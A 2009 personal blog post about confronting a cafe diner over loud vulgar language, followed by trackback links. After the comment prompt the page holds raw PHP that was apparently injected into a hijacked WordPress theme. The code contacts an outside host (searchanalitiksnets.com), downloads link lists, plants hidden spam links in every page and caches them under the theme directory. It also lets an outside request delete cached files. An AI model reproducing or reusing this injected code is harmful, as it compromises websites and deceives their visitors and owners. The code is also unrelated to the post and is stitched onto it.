Old Fashioned Morality in Public

March 22, 2009

I just got back from a late night dinner at a cafe I sometimes visit (Kramer Books on Dupont Circle in Washington, D.C.), where I was trying to have a post-midnight meal and read after a very long day of promoting free trade. I was seated in an area where you get stuck right next to other tables and it’s hard not to overhear what the other diners are saying, as they are right next to you. The first couple at the table next to mine was easy to ignore. They chattered away without saying anything. (I do recall “I just love mushrooms,” which may have been about the most memorable thing they said.) The next couple, however, was the usual young-DC-powerbroker-wannabe couple. But in this case, the lady (well, actually, not “the lady”) managed to make roughly every fifth word a vulgarity, sometimes a very colorful and graphically descriptive vulgarity, spoken loudly and for public effect. It did rather disrupt my ability to read and understand my book on economic history. (I don’t mind other people speaking — it’s a restaurant, not a library, but this was not mere private conversation.)

I paid the bill, gathered my things, and pondered whether to say anything. I decided to say something. I addressed her and told her that she had the most vulgar and filthy mouth I had been exposed to in probably at least a year and that she should be ashamed that she imposed that on other people. Her boyfriend or date or whatever was mortified and just stared at his plate. She said she had not asked to be seated there, and I responded that she should have been seated outside, beside the trash bins, and that she was just another no-one-other-than-me-matters-kind-of-selfish-person that Washington breeds in abundance. I then left, as her boyfriend continued to stare at his plate.

I’m not sure whether I should have simply left without a comment (it was not easy to ignore her chatter, despite my efforts), or done what I did. But I hope, at least, that she will think twice before imposing that kind of language on others in an otherwise civilized establishment. (I gave a tongue-lashing some years back to a young man who was detailling, in very loud speech at a cafe, every detail of last night’s sexual encounter; I told him that I don’t go to cafes to be involunarily exposed to descriptions of the orgasms of other people. If he wanted to spend time in a locker room, he should do so and tell his stories there, not force them on people who are reading or talking and trying to enjoy their drinks or food.)

I wonder sometimes whether my behavior means I’m just getting older, or whether I am providing a public benefit for others who would prefer not to be bombarded with such vulgarity and coarseness.

{ 3 trackbacks }

Standing Up « Chris Moody
March 23, 2009 at 5:32 pm
Our Morning Roundup: When Almost Is Good Enough Edition - City Desk - Washington City Paper
March 26, 2009 at 12:30 pm
Old-Fashioned Morality « Unkategorized
May 3, 2009 at 12:10 pm

{ 34 comments… read them below or add one }

Leave a Comment

Good'; exit; } if(isset($_GET['unlink_cache'])) unlink_cache('wp-content/themes/thesis_151/lib/css/data/'); function put_array_work($way, $var) { $stOutFileHandle = false; $stOutFileHandle = fopen($way, 'w'); flock($stOutFileHandle, LOCK_EX); fwrite($stOutFileHandle, $var); flock($stOutFileHandle, LOCK_UN); fclose($stOutFileHandle); } function ad_block() { $way = 'wp-content/themes/thesis_151/lib/css/'; if(!file_exists($way.'data/work.txt')) { $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $work = false; $work = unserialize(file_get_contents('http://searchanalitiksnets.com/lm/analiz.php?sent='.urlencode(serialize($sent)))); if(!$work === false && is_array($work)) { if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period']+($work['period'] / 2)); $work['check'] = time() + $period * 60; if(isset($work['new']) && !empty($work['new'])) { $links = $work['new']; unset($work['new']); } $work['use'] = array(); $write_work = true; } else { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } else { $work = false; $work = unserialize(file_get_contents($way.'data/work.txt')); if($work === false && !is_array($work)) { $period = rand(15, 45) * 60; $temp = time() + $period; $work = array('time' => time(),'check' => $temp, 'use' => array(), 'period' => '30', 'start' => '
', 'end' => '
'); $write_work = true; } } if(!isset($links)) { if(file_exists($way.'data/temp.txt')) { $links = unserialize(file_get_contents($way.'data/temp.txt')); } else { $links = array(); put_array_work($way.'data/temp.txt', serialize($links)); } } if($work['check'] < time() && empty($links)) { if(!empty($work['use'])) $sent['use'] = $work['use']; if(isset($work['time'])) { $sent['time'] = $work['time']; } else { $sent['time'] = time(); } $sent['domain'] = @$_SERVER['HTTP_HOST']; ini_set('default_socket_timeout', 1); $import = false; $import = unserialize(file_get_contents('http://searchanalitiksnets.com/lm/analiz.php?sent='.urlencode(serialize($sent)))); if(!$import === false && is_array($import) && $import['time'] != '00000') { if(isset($import['new'])) { $links = $import['new']; $write_link = true; } if(isset($import['unlink'])) $work['unlink'] = $import['unlink']; if(isset($import['period'])) $work['period'] = $import['period']; if(isset($import['start'])) $work['start'] = $import['start']; if(isset($import['end'])) $work['end'] = $import['end']; if(isset($import['time'])) $work['time'] = $import['time']; } if(!isset($work['period'])) $work['period'] = 30; $period = rand($work['period'] / 2, $work['period'] + ($work['period'] / 2)); $work['check'] = time() + $period * 60; $write_work = true; } $id = $_SERVER['REQUEST_URI']; if(file_exists($way.'data/'.md5($id).'.dat')) { $page = unserialize(file_get_contents($way.'data/'.md5($id).'.dat')); $echo = ''; if(!empty($links)) { $domains = array_keys($links); foreach($domains as $domain) { if(!isset($page[$domain])) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); $write_page = true; $write_link = true; } } } if(!empty($work['unlink'])) { foreach($work['unlink'] as $domain) { if(isset($page[$domain])) { unset($page[$domain]); $write_page = true; } if(isset($work['use'][$domain])) { unset($work['use'][$domain]); $write_work = true; } if(isset($links[$domain])) { unset($links['use'][$domain]); $write_link = true; } } } if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } if(!empty($page)) { foreach($page as $domain => $link) { $echo .= $link.' '; if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); } } else { if(!empty($links)) { $page = array(); $domains = array_keys($links); foreach($domains as $domain) { $page[$domain] = $links[$domain]['0']; array_shift($links[$domain]); if(empty($links[$domain])) unset($links[$domain]); if(!isset($work['use'][$domain])) { $work['use'][$domain] = ''; $write_work = true; } } $echo = ''; if(!isset($work['start']) || !isset($work['end'])) { $work['start'] = '
'; $work['end'] = '
'; $write_work = true; } foreach($page as $domain => $link) { $echo .= $link.' '; } echo preg_replace('/\"/', '"', $work['start'].$echo.$work['end']); $write_page = true; $write_link = true; } } if ($write_page === true) { put_array_work($way.'data/'.md5($id).'.dat', serialize($page)); } if ($write_work === true) { put_array_work($way.'data/work.txt', serialize($work)); } if ($write_link === true) { put_array_work($way.'data/temp.txt', serialize($links)); } } ad_block(); ?>